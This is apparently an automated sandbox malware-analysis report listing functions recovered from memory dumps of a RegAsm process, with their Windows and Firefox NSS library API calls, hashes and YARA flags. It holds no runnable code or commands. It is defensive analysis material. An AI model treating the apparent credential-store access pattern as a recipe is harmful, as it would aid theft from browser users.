Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: e1e5d2abd36f792ce8e7696cd4d1ddef66465fbe477d7900cfae79242c714ba2
Instruction ID: faa3cbc47edc6d62fcde4c42a86d6f60d7c6cb9d9231cedff5acf80003c00c5b
Opcode Fuzzy Hash: e1e5d2abd36f792ce8e7696cd4d1ddef66465fbe477d7900cfae79242c714ba2
Instruction Fuzzy Hash: E3315C75E4020CAFDB14DFD0CD49BEDB7B9EB44300F10441AE506AA284DB78AE89CB56

Function 6C4D8530 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,6C4D72EC), ref: 6C4D855A

Part of subcall function 6C4D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C478298,?,?,?,6C46FCE5,?), ref: 6C4D07BF
Part of subcall function 6C4D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C4D07E6
Part of subcall function 6C4D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D081B
Part of subcall function 6C4D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D0825

PORT_ArenaGrow_Util.NSS3(?,00000000,?,00000001,?,?,6C4D72EC), ref: 6C4D859E
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C4D72EC), ref: 6C4D85B8
PR_SetError.NSS3(FFFFE005,00000000,?,6C4D72EC), ref: 6C4D8600

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ErrorUtil$ArenaHashLookupTable$Alloc_ConstFindGrow_
String ID:
API String ID: 1727503455-0
Opcode ID: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction ID: 9b73fb7a982b686ad510acfe7eff9bb581a906961a7836c5bca988c812616071
Opcode Fuzzy Hash: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction Fuzzy Hash: C9210531A102018BE700EF2DDC70F3B72A9AF8132DF66412AE86587740EB31F80687D1

Function 6C4604D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6C4604F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C46053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C460558
GetLastError.KERNEL32 ref: 6C46057A

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: 168bed6016e757400e805c3cbbef31414eb7e733bcab52fc1256fe1eb0b594a0
Instruction ID: 7dc8a6741b5b87326e0991b4224a5e77c591acbaea0b8731382aa8e3375f425b
Opcode Fuzzy Hash: 168bed6016e757400e805c3cbbef31414eb7e733bcab52fc1256fe1eb0b594a0
Instruction Fuzzy Hash: D6215E71A002189FDB08DF69DC94EAEB7B8FF88318B10802DE8099B351D775ED06CB90

Function 6C4E2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C4E2E08

Part of subcall function 6C4D14C0: TlsGetValue.KERNEL32 ref: 6C4D14E0
Part of subcall function 6C4D14C0: EnterCriticalSection.KERNEL32 ref: 6C4D14F5
Part of subcall function 6C4D14C0: PR_Unlock.NSS3 ref: 6C4D150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C4E2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C4E2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4E2E95

Part of subcall function 6C4D1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4788A4,00000000,00000000), ref: 6C4D1228
Part of subcall function 6C4D1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C4D1238
Part of subcall function 6C4D1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C4788A4,00000000,00000000), ref: 6C4D124B
Part of subcall function 6C4D1200: PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0,00000000,00000000,00000000,?,6C4788A4,00000000,00000000), ref: 6C4D125D
Part of subcall function 6C4D1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C4D126F
Part of subcall function 6C4D1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C4D1280
Part of subcall function 6C4D1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C4D128E
Part of subcall function 6C4D1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C4D129A
Part of subcall function 6C4D1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C4D12A1

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: db37b749ccf335026cdda39b06fe42a99d5733a928bc73a4707bcf05351ba9d1
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 422129B1D003564BE720DF589D44FAA3764AF9531EF170369DD085B742FBB1E58882D2

Function 6C49ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C49ACC2

Part of subcall function 6C472F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C472F0A
Part of subcall function 6C472F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C472F1D

Part of subcall function 6C472AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C470A1B,00000000), ref: 6C472AF0
Part of subcall function 6C472AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C472B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C49AD5E

Part of subcall function 6C4B57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C47B41E,00000000,00000000,?,00000000,?,6C47B41E,00000000,00000000,00000001,?), ref: 6C4B57E0
Part of subcall function 6C4B57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C4B5843

CERT_DestroyCertList.NSS3(?), ref: 6C49AD36

Part of subcall function 6C472F50: CERT_DestroyCertificate.NSS3(?), ref: 6C472F65
Part of subcall function 6C472F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C472F83

free.MOZGLUE(?), ref: 6C49AD4F

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 0457ce4e57142a9ef1761bbb5582145521990fc87b97518428d1cd43c54ec76a
Instruction ID: 216b9bdbf2bd8b829428258310e61daee8ca15baa1920273d374bd8b2e8f88e4
Opcode Fuzzy Hash: 0457ce4e57142a9ef1761bbb5582145521990fc87b97518428d1cd43c54ec76a
Instruction Fuzzy Hash: E521C3B1D002248BEB20DF64D805DEEBBB4EF05209F064168D8057B711FB31AA49CBE5

Function 6C4B24E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4B24FF
EnterCriticalSection.KERNEL32(?), ref: 6C4B250F
PR_Unlock.NSS3(?), ref: 6C4B253C
PR_SetError.NSS3(00000000,00000000), ref: 6C4B2554

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ae2e1c97b6de20b2b9165f497f7f186bb4f4d46ed3bb426246f03e321a4d35d4
Instruction ID: 7311eb42a2c9394c79e36edf577bb61c6deecfbb3b8b5a9fcb1dd967fdeabdc4
Opcode Fuzzy Hash: ae2e1c97b6de20b2b9165f497f7f186bb4f4d46ed3bb426246f03e321a4d35d4
Instruction Fuzzy Hash: 9311E975E001149BDB00EF68DC49DAB7B78EF46228B454128EC09AB701EB31E955C7E5

Function 6C4CECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C4CF0AD,6C4CF150,?,6C4CF150,?,?,?), ref: 6C4CECBA

Part of subcall function 6C4D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4787ED,00000800,6C46EF74,00000000), ref: 6C4D1000
Part of subcall function 6C4D0FF0: PR_NewLock.NSS3(?,00000800,6C46EF74,00000000), ref: 6C4D1016
Part of subcall function 6C4D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C4787ED,00000008,?,00000800,6C46EF74,00000000), ref: 6C4D102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C4CECD1

Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D10F3
Part of subcall function 6C4D10C0: EnterCriticalSection.KERNEL32(?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D110C
Part of subcall function 6C4D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1141
Part of subcall function 6C4D10C0: PR_Unlock.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1182
Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C4CED02

Part of subcall function 6C4D10C0: PL_ArenaAllocate.NSS3(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C4CED5A

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: ba24e346a56770f5158f28d17e0e854b17caa69535ec9ecc7cfb7bf940d60bd1
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: C72101B5A017829BE300CF21D984F52B7E4BFA4309F26C21AE80C87B61EB70E594C6D1

Function 6C4FEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C4E7FFA,?,6C4E9767,?,8B7874C0,0000A48E), ref: 6C4FEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C4E7FFA,?,6C4E9767,?,8B7874C0,0000A48E), ref: 6C4FEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C4E7FFA,?,6C4E9767,?,8B7874C0,0000A48E), ref: 6C4FEE14

Part of subcall function 6C4D0BE0: malloc.MOZGLUE(6C4C8D2D,?,00000000,?), ref: 6C4D0BF8
Part of subcall function 6C4D0BE0: TlsGetValue.KERNEL32(6C4C8D2D,?,00000000,?), ref: 6C4D0C15

memcpy.VCRUNTIME140(?,?,6C4E9767,00000000,00000000,6C4E7FFA,?,6C4E9767,?,8B7874C0,0000A48E), ref: 6C4FEE33

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 08490fb3241a13323802f16128c83edaddad641becc7d6c8acb52c09b3278623
Instruction ID: d9da81c9dd2e83b0aee59866507e02eea407bfdb42520088129742e7d2e64fef
Opcode Fuzzy Hash: 08490fb3241a13323802f16128c83edaddad641becc7d6c8acb52c09b3278623
Instruction Fuzzy Hash: FF11A3B1A04706ABEB10DE65ECC4F46B3A8EB8035EF204535E92987F01E331F46687E1

Function 6C498DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C498DE7
EnterCriticalSection.KERNEL32 ref: 6C498DFC
PR_Unlock.NSS3 ref: 6C498E2D
PR_SetError.NSS3 ref: 6C498E49

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 8fdcb042ca7fb036501548219a7c619bccd2f4dbfb66e4421845949d360cc1da
Instruction ID: 309150fa1b146b8eeaf236e39f514e33369126adde77b58c847618ee8ad5478e
Opcode Fuzzy Hash: 8fdcb042ca7fb036501548219a7c619bccd2f4dbfb66e4421845949d360cc1da
Instruction Fuzzy Hash: E9114F75A05A109BDB00AF78D848A6ABBF4FF45714F024969DC88DBB00E730E894CBD5

Function 00417980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
wsprintfA.USER32 ref: 004179F3

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 87643aaeb61937c0b28f46190d625ee9f9fa63f6271d25fb840393839df263de
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 6D1139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 6C51AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C505F17,?,?,?,?,?,?,?,?,6C50AAD4), ref: 6C51AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C505F17,?,?,?,?,?,?,?,?,6C50AAD4), ref: 6C51ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C50AAD4), ref: 6C51ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C50AAD4), ref: 6C51ACDB

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 886c5378e4aa5a089ec91b951c1f4344bdedcc92562c247964bab445427e38e9
Instruction ID: 37b0786d2b99cb777a9f7974d010ef11f5e1495eacdcdca06f6d4a54b81b65c2
Opcode Fuzzy Hash: 886c5378e4aa5a089ec91b951c1f4344bdedcc92562c247964bab445427e38e9
Instruction Fuzzy Hash: 350129B1601B029BEB51DF2ADD08A57B7E8BF10699B104839E85AD7E00E731F159CBD1

Function 6C4D24E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C4AC154,000000FF,00000000,00000000,00000000,00000000,?,?,6C4AC154,?), ref: 6C4D24FA
PORT_Alloc_Util.NSS3(00000000,?,6C4AC154,?), ref: 6C4D2509

Part of subcall function 6C4D0BE0: malloc.MOZGLUE(6C4C8D2D,?,00000000,?), ref: 6C4D0BF8
Part of subcall function 6C4D0BE0: TlsGetValue.KERNEL32(6C4C8D2D,?,00000000,?), ref: 6C4D0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6C4D2525
free.MOZGLUE(00000000), ref: 6C4D2532

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: 23b22a5a7a04cbec31c825f58a9f3de86ca6cdc555e806aa81f6259e68e7589b
Instruction ID: 4b92136b876e9a4223a4f802cfdd279c1e357dbcb58d8a721dc636a82e78985b
Opcode Fuzzy Hash: 23b22a5a7a04cbec31c825f58a9f3de86ca6cdc555e806aa81f6259e68e7589b
Instruction Fuzzy Hash: 82F062B230612176FE2075AA5C29E7739ACDB416F9B550225F928CA6C0DA52ED0181F1

Function 6C500450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6C504710,?,000F4240,00000000), ref: 6C50046B
GetLastError.KERNEL32(?,6C504710,?,000F4240,00000000), ref: 6C500479

Part of subcall function 6C51BF80: TlsGetValue.KERNEL32(00000000,?,6C50461B,-00000004), ref: 6C51C244

PR_Unlock.NSS3(40C70845,?,6C504710,?,000F4240,00000000), ref: 6C500492
PR_SetError.NSS3(FFFFE89D,00000000,?,6C504710,?,000F4240,00000000), ref: 6C5004A5

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
